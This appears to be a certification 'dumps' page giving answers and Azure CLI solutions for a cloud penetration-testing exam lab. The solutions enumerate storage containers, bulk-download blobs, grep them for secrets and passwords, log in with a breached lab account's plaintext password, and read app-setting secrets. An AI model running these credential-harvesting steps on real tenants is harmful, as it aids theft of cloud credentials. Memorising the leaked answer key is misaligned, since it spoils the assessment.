The SecOps Group CCPenX-Az Dumps

The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list \

--account-name excaliburstore \

--container-name sensitive-files \

--sas-token " $SAS " \

--query " [].name " \

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch \

--account-name excaliburstore \

--source sensitive-files \

--destination blobloot \

--sas-token " $SAS "

Search the downloaded files for application credentials:

grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot

On Windows PowerShell:

Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " -CaseSensitive:$false

A typical file may look like this:

{

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,

" clientId " : " < application-client-id > " ,

" clientSecret " : " < application-client-secret > "

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

================

Detailed Solution:

In Azure Storage SAS tokens, sp means signed permissions.

For blob/container access:

r = read

l = list

w = write

d = delete

c = create

a = add

Given:

sp=rl

The permissions are:

Read + List

Correct answer:

A. Read and List

SAS tokens grant delegated access to Azure Storage resources and must be handled like secrets.

================

finance-reporting-api

Detailed Solution:

Set the resource group:

RG= " rg-prod-apps-eastus "

List resources:

az resource list \

--resource-group " $RG " \

--output table

Expected output:

Name ResourceGroup Location Type

---------------------- --------------------- ---------- -------------------------------

finance-reporting-api rg-prod-apps-eastus eastus Microsoft.Web/sites

prod-reportstore01 rg-prod-apps-eastus eastus Microsoft.Storage/storageAccounts

kv-finance-prod rg-prod-apps-eastus eastus Microsoft.KeyVault/vaults

The exposed App Service is:

finance-reporting-api

================

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Detailed Solution:

Log in using the supplied breached Azure account.

az login -u alex.johnson@azuresecops.onmicrosoft.com -p ' pg:Lr{k102l(fh7! '

After successful authentication, check the active Azure subscription context.

az account show

The important fields are:

{

" id " : " 7403ec86-c39d-4d80-9efa-35c7580ecefa " ,

" name " : " Azure subscription 1 " ,

" tenantDefaultDomain " : " azuresecops.onmicrosoft.com " ,

" tenantDisplayName " : " ExcaliburCorp " ,

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b "

}

The AAD / Microsoft Entra tenant ID is the tenantId.

Final Answer:

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

================

Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

================

rg-prod-apps-eastus

Detailed Solution:

List accessible resource groups:

az group list --output table

For a cleaner search:

az group list \

--query " [?contains(name, ' prod ' )].{Name:name,Location:location} " \

--output table

Expected output:

Name Location

-------------------- ----------

rg-prod-apps-eastus eastus

The resource group containing prod is:

rg-prod-apps-eastus

================

Detailed Solution:

Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.

Test secret read:

az keyvault secret show \

--vault-name kv-finance-prod \

--name db-password \

--query value \

--output tsv

Expected failure:

Forbidden

Correct answer:

B. No, Contributor does not automatically grant Key Vault secret data-plane read

Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.

================

public-backups

Detailed Solution:

Try listing containers using Azure CLI:

az storage container list \

--account-name prodreportstore01 \

--auth-mode login \

--output table

If anonymous access is allowed, test via blob endpoint:

az storage blob list \

--account-name prodreportstore01 \

--container-name public-backups \

--auth-mode key \

--output table

In a lab, you can also test the public URL pattern:

Expected exposed container:

public-backups

Final answer:

public-backups

================

service-principal-creds.json

Detailed Solution:

Set variables:

ACCOUNT= " prodreportstore01 "

CONTAINER= " sensitive-exports "

SAS= " ?sv=2025-01-05 & ss=b & srt=sco & sp=rl & se=2026-08-01T00:00:00Z & sig= < signature > "

List blobs:

az storage blob list \

--account-name " $ACCOUNT " \

--container-name " $CONTAINER " \

--sas-token " $SAS " \

--query " [].name " \

--output table

Expected output:

Name

----------------------------

monthly-report.csv

service-principal-creds.json

readme.txt

The credential file is:

service-principal-creds.json

================